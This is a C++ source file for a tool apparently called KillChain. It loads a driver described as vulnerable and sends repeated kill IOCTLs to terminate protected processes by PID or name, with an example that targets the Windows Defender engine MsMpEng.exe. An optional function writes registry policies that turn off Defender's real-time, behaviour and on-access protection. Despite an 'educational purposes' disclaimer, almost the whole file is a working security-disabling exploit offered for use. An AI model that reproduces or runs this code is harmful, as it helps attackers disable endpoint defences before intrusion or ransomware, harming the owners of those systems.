Files
oxfemale-KillChain/KillChain/KillChain.cpp
T
2026-04-02 16:28:35 +02:00

261 lines
8.6 KiB
C++

/*
* ProcessMonitorDriver.sys (CVE-2026-0828)
*
* Description: A vulnerable kernel driver that allows user-mode applications to terminate protected processes by sending a
* custom IOCTL with the target PID. This driver is intended for educational and testing purposes only, and should not be used in production environments.
*
* Features:
* - Terminate processes by PID or executable name
* - Optionally disable Windows Defender via registry modifications
* - Configurable logging with multiple verbosity levels and output options
* - Clean driver unloading and service cleanup functionality
* Usage:
* 1. Compile the driver and place it in the same directory as KillChain.exe
* 2. Run KillChain.exe with appropriate arguments to terminate target processes or disable Defender
* 3. Use --uninstall-driver to clean up the driver and registry entries after testing
* Disclaimer: This code is for educational purposes only. The author is not responsible for any misuse or damage caused by this tool.
*
* Coded by Eleven Red Pandas:
* - GitHub: https://github.com/oxfemale
* - X: https://x.com/bytecodevm
*
*/
#include <windows.h>
#include <tlhelp32.h>
#include "Logger.h"
#include "LoadDriver.h"
#define IOCTL_KILL_PROCESS 0xB822200C
Logger g_Logger;
DWORD GetPidByName(const char* procName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
DWORD pid = 0;
int wideLen = MultiByteToWideChar(CP_ACP, 0, procName, -1, NULL, 0);
wchar_t* wideName = new wchar_t[wideLen];
MultiByteToWideChar(CP_ACP, 0, procName, -1, wideName, wideLen);
if (Process32FirstW(hSnap, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, wideName) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe32));
}
delete[] wideName;
CloseHandle(hSnap);
return pid;
}
void ShowHelp() {
g_Logger.Raw(
"Usage: KillChain.exe [options]\n"
"\n"
"Options:\n"
" --pid <PID> Terminate process by PID\n"
" --name <ProcessName> Terminate process by executable name\n"
" --disable-defender Also disable Windows Defender via registry\n"
" --log-level <0-3> Logging verbosity (0=errors, 1=normal, 2=verbose, 3=debug)\n"
" --output <file> Save log output to file\n"
" --uninstall-driver Unload driver, delete service and driver file\n"
" --help Show this help\n"
"\n"
"Examples:\n"
" KillChain.exe --name MsMpEng.exe\n"
" KillChain.exe --pid 1234 --log-level 2 --output log.txt\n"
" KillChain.exe --name notepad.exe --disable-defender\n"
" KillChain.exe --uninstall-driver\n",
FOREGROUND_GREEN | FOREGROUND_INTENSITY
);
}
void DisableWindowsDefender() {
g_Logger.Info("Attempting to disable Windows Defender via registry...");
HKEY key = NULL;
HKEY new_key = NULL;
DWORD disable = 1;
LONG res = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
0, KEY_ALL_ACCESS, &key);
if (res != ERROR_SUCCESS) {
if (res == ERROR_ACCESS_DENIED)
g_Logger.Error("Access denied. Run as Administrator.");
else
g_Logger.Error("Failed to open Windows Defender policy key. Error: %ld", res);
return;
}
RegSetValueExA(key, "DisableAntiSpyware", 0, REG_DWORD,
(const BYTE*)&disable, sizeof(disable));
g_Logger.Debug("DisableAntiSpyware set to 1.");
DWORD disposition;
res = RegCreateKeyExA(key, "Real-Time Protection", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL, &new_key, &disposition);
if (res != ERROR_SUCCESS) {
g_Logger.Error("Failed to create/open Real-Time Protection key. Error: %ld", res);
RegCloseKey(key);
return;
}
const char* rtValues[] = {
"DisableRealtimeMonitoring",
"DisableBehaviorMonitoring",
"DisableScanOnRealtimeEnable",
"DisableOnAccessProtection",
"DisableIOAVProtection"
};
for (int i = 0; i < 5; i++) {
RegSetValueExA(new_key, rtValues[i], 0, REG_DWORD,
(const BYTE*)&disable, sizeof(disable));
g_Logger.Debug("%s set to 1.", rtValues[i]);
}
RegCloseKey(key);
RegCloseKey(new_key);
g_Logger.Info("Windows Defender disable completed. Restart the computer to apply changes.");
}
int main(int argc, char* argv[]) {
// Default values
ULONG64 targetPid = 0;
char targetName[256] = { 0 };
bool disableDefender = false;
bool uninstallDriver = false;
int logLevel = 1;
const char* outputFile = nullptr;
PrintLogo();
// Parse arguments
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--help") == 0) {
ShowHelp();
return 0;
}
else if (strcmp(argv[i], "--uninstall-driver") == 0) {
uninstallDriver = true;
}
else if (strcmp(argv[i], "--pid") == 0 && i + 1 < argc) {
targetPid = _strtoui64(argv[++i], nullptr, 10);
}
else if (strcmp(argv[i], "--name") == 0 && i + 1 < argc) {
strncpy_s(targetName, argv[++i], sizeof(targetName) - 1);
}
else if (strcmp(argv[i], "--disable-defender") == 0) {
disableDefender = true;
}
else if (strcmp(argv[i], "--log-level") == 0 && i + 1 < argc) {
logLevel = atoi(argv[++i]);
}
else if (strcmp(argv[i], "--output") == 0 && i + 1 < argc) {
outputFile = argv[++i];
}
else {
g_Logger.Error("Unknown option: %s", argv[i]);
ShowHelp();
return 1;
}
}
// Initialize logger
g_Logger.SetLogLevel(logLevel);
if (outputFile) {
if (!g_Logger.SetOutputFile(outputFile))
g_Logger.Warning("Failed to open log file: %s", outputFile);
}
// Handle uninstall request
if (uninstallDriver) {
return UninstallDriver();
}
// If no target specified, show help
if (targetPid == 0 && targetName[0] == 0) {
ShowHelp();
return 0;
}
// Load driver (skip if already loaded)
if (LoadDriver(false) != 0) {
g_Logger.Error("Driver loading failed. Exiting.");
return 1;
}
// Open device once (reused in loop)
HANDLE hDevice = CreateFileA("\\\\.\\STProcessMonitorDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
g_Logger.Error("Failed to open device. Error: %lu", GetLastError());
return 1;
}
g_Logger.Debug("Device opened successfully.");
// Loop variables
int terminatedCount = 0;
bool defenderDisabled = false;
DWORD startTime = GetTickCount();
const DWORD maxDurationMs = 360 * 1000; // 360 seconds
g_Logger.Info("Starting termination loop (max 360 seconds)...");
while (true) {
// Check timeout
if (GetTickCount() - startTime >= maxDurationMs) {
g_Logger.Warning("Timeout reached (360 seconds). Exiting loop.");
break;
}
// Resolve PID if target is process name (re-check every iteration)
if (targetName[0] != 0) {
targetPid = GetPidByName(targetName);
if (targetPid == 0) {
g_Logger.Debug("Process %s not found, waiting...", targetName);
Sleep(2000);
continue;
}
}
// Send kill IOCTL with dummy output buffer
DWORD bytesReturned;
DWORD dummyOutput = 0;
BOOL result = DeviceIoControl(hDevice, IOCTL_KILL_PROCESS,
&targetPid, sizeof(targetPid),
&dummyOutput, sizeof(dummyOutput),
&bytesReturned, NULL);
if (result) {
g_Logger.Info("Process with PID %llu terminated successfully.", targetPid);
terminatedCount++;
if (disableDefender && !defenderDisabled && terminatedCount >= 2) {
DisableWindowsDefender();
defenderDisabled = true;
}
}
else {
DWORD err = GetLastError();
if (err != ERROR_INSUFFICIENT_BUFFER) {
g_Logger.Warning("Failed to terminate process (PID %llu). Error: %lu", targetPid, err);
}
}
Sleep(2000);
}
CloseHandle(hDevice);
g_Logger.Info("KillChain execution completed.");
return 0;
}